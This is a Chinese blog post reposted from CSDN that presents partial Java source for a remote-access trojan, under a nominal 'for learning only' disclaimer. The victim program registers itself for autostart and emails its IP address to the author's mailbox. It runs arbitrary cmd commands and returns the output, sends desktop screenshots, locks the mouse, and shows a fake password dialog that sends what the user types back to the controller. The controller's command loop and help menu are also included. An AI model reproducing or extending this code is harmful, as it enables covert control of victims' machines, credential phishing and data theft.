利用Java寫木馬程序(附源碼!)
這個小程序是很久以前寫的,現在發上來(僅供大家學習參考,不能用于任何非法行為~)
木馬定義:利用計算機程序漏洞侵入后竊取文件的程序程序被稱為木馬。它是一種具有隱藏性的、自發性的可被用來進行惡意行為的程序,多不會直接對電腦產生危害,而是以控制為主。
當然我寫的這個沒這么“強大”。。。
首先講下我的實現思路:
主要通過Socket和ServerSocket之間傳輸數據。
由于我沒有自己的一個服務器(沒有固定IP),所以在這個程序中,我把被控制端作為ServerSocket,.控制端為Socket。
要連接ServerSocket,首先要知道其的IP地址
這里我采用當程序啟動時,從ServerSoket端發送一份包含其IP信息的郵件到自己的郵箱。
隨后控制端就可以順利連接到ServerSoket端了。但是這里有個問題,就是到ServerSoket處于內網時,將無法順利連接
連接成功之后,我們就可以發送命令給ServerSoket。然后在ServerSoket那一端進行執行。
這里的執行包括ServerSoket進行相應的本地操作(具體操作的內容下面有說明),以及發送數據給我們能的控制端。
程序功能說明:
/*
* 本程序僅供學習參考使用。嚴禁使用本程序進行違法行為!
* 本程序功能
* 1、程序開機自動啟動(√)
* 2、自動發送郵件
* 3、執行dos命令,并將信息返回、這里可以執行關機等命令(√)
* 4、鎖定鼠標,這里通過一個線程實現
* 5、查看被控制端的桌面,將桌面畫面截圖并發送給控制端(√)
* 6、在被控制端彈出對話框,多種對話框模式(√)
* 7、讓被控制端閃屏(√)
* 本程序僅供學習參考使用。嚴禁使用本程序進行違法行為!
*/
下面給出一些程序運行的效果圖:
首先輸入IP地址進行連接,通過郵件我們可以知道被控制端的IP地址,下面看下郵件效果
然后我們就可以進行相應的操作了
如輸入-help,可以顯示本程序支持的命令。
這里演示下在被控制端彈出輸入密碼對話框
我們在控制端輸入-dinpass 親,請輸入的你密碼!
那么彈出的對話框效果如圖所示!
當被控制點擊確定時,將發送其輸入的密碼到控制端,我們可以看到效果。
我輸入的是123321
再演示個執行dos的關機命令。
其它功能如鼠標鎖定等,不方便控制演示。就留給大家自己探索!!!
下面附上代碼
由于代碼較多,這里上傳部分代碼
控制端部分代碼
ControlWin.java
import ...; public class ControlWin { Socket socket; ........ public ControlWin() { in = new Scanner(System.in); System.out.print("輸入IP:"); IP = in.nextLine().trim(); try { socket = new Socket(IP, PORT); ....初始化其它信息 System.out.println("contected"); dos = new DataOutputStream(socket.getOutputStream()); dis = new DataInputStream(socket.getInputStream()); new Thread(new MyInputThread()).start(); go(); } catch (UnknownHostException e) { e.printStackTrace(); return; } catch (IOException e) { e.printStackTrace(); return; } } public void go() {//開始發送命令 while (true) { System.out.println("intput commend:"); dosS = in.nextLine().trim(); if () {....... } else if (dosS.endsWith("-help")) { System.out .println("-doutmsg msg 以對話框形式輸出信息\n" + "-dinmsg 彈出一個輸入對話框\n" + "-dinpass msg 彈出一個輸入密碼對話框+顯示信息msg\n" + "-flash msg 閃屏并顯示msg所表示的文字\n" + "-p:獲取圖片\n" + "-m l鎖定鍵盤 .....-m a取消鎖定\n" + "輸入其則執行相應的dos命令,如輸入ipconfig 則顯示相應的ip信息\n" + "exit:退出"); continue; } try { dos.writeUTF(dosS); } catch (IOException e) { e.printStackTrace(); } } } /*接受被控制端發送過來的圖片*/ public void getPic() {..... while (true) { try { num = dis.read(imageData, 0, imageData.length); fos.write(imageData, 0, num); length -= num; if (length == 0) { break; } } catch (Exception e) { try { System.out.println("error"); fos.flush(); fos.close(); } catch (IOException e1) { e1.printStackTrace(); } break; } }.... } public static void main(String[] args) { new ControlWin(); } class MyInputThread implements Runnable {接受被控制端返回的文本信息 public void run() { while (true) { ..... } } } }被控制端部分代碼
Test.java
public class Test { ServerSocket serverSocket; Socket socket;...... public Test() { /* 在注冊表中設置開機自動運行 register(); 以及發送郵件,主要是把自己的IP發出來,并進行一些初始化...... */ go(); } } /* 在注冊表中設置開機自動運行 */ void go() { while (true) { /* * 這里不斷的接受發送過來的命令然后根據命令執行相應的操作 * 如:(標有√,的是本程序已經實現的功能) * 1、我們可以通過開啟一個線程通過robot鎖定鼠標(√) * 2、執行dos命令(√) * 3、傳輸被控制端的文件 * 4、查看被控制端的桌面(√) * 5、在被控制端彈出對話框(√) * 6、讓被控制端閃屏(√) * 7、等等等等 * 具體的實現都在這里進行,當然這個需要和控制者那段的代碼相配合 * 同時自己設計好具體的命令 * */ try { commendString = dis.readUTF().trim(); } catch (IOException e) { System.out.println("leave"); break; } 然后對commendString進行分析,執行相應的命令就是上面所描述的1,2,3...等等等命令 } } /*在注冊表注冊開機自動啟動*/ public void register() { ...... } /*啟動線程鎖定鼠標*/ void mouseLock(String s) { ...... } /*執行dos命令*/ void dosExe(String dosString) { String command = "cmd /c " + dosString; String s = null; try { process = r.exec(command); bufferedReader = new BufferedReader(new InputStreamReader(process .getInputStream())); dos.writeUTF("1start"); while ((s = bufferedReader.readLine()) != null) { s = s.trim(); dos.writeUTF(s); } dos.writeUTF("1end"); } catch (IOException e) { e.printStackTrace(); } } /*發送圖片*/ void sendPic() {...... } public static void main(String[] args) { new Test(); } /*獲取本地IP*/ String getIP() { String ipString = ""; Enumeration<NetworkInterface> netInterfaces = null; try { netInterfaces = NetworkInterface.getNetworkInterfaces(); while (netInterfaces.hasMoreElements()) { NetworkInterface ni = netInterfaces.nextElement(); ipString = ipString + ni.getDisplayName() + "\n"; ipString = ipString + ni.getName() + "\n"; Enumeration<InetAddress> ips = ni.getInetAddresses(); while (ips.hasMoreElements()) { ipString = ipString + ips.nextElement().getHostAddress() + "\n"; } } } catch (Exception e) { e.printStackTrace(); } return ipString; } /*顯示消息對話框*/ class ShowDialogThread extends Thread {...... } class MouseLockThread extends Thread {...... } // 這里可以啟動其它的應用程序 class OtherApp extends Thread { } /*下面兩個類用于文件復制*/ class JarUtil {...... } class MyCopy { public int fileCopy(String sFile, String oFile) {...... } } /* * 發送郵件部分 需要一兩個郵箱,一個是發送方郵箱,一個是接受郵箱 */ class SMail { boolean sended = false; Properties props; Session session; Message msg; Transport transport; public void send(String s) { try { // System.out.println(s); props = new Properties(); props.setProperty("mail.smtp.auth", "true"); props.setProperty("mail.transport.protocol", "smtp"); session = Session.getDefaultInstance(props); // session.setDebug(true); msg = new MimeMessage(session); msg.setSubject("ip"); msg.setText(s); /*xxxxxxxxxxxxxxxx為發送方郵箱用戶名*/ msg.setFrom(new InternetAddress("xxxxxxxxxxxxxxxx@sina.com")); transport = session.getTransport(); /*xxxxxxxxxxxxxxxx為發送方郵箱用戶名、 *yyyyyyyyy為發送方郵箱密碼*/ transport.connect("smtp.sina.com", 25, "xxxxxxxxxxxxxxxx", "yyyyyyyyy"); transport.sendMessage(msg, new Address[] { new InternetAddress( "496977458@qq.com") }); transport.close(); sended = true; } catch (Exception e) { } } public SMail() { sended = false; } } /*密碼輸入框*/ class MyDialogPassInput extends JDialog {...... } /*閃屏*/ class Flash {...... } /*輸入對話框*/ class MyDialogMsgInput extends JDialog { JTextField text; JButton sureButton; String string; public MyDialogMsgInput(String s) {...... } }
轉自:http://blog.csdn.net/leasystu/article/details/7268402
附上完整源碼地址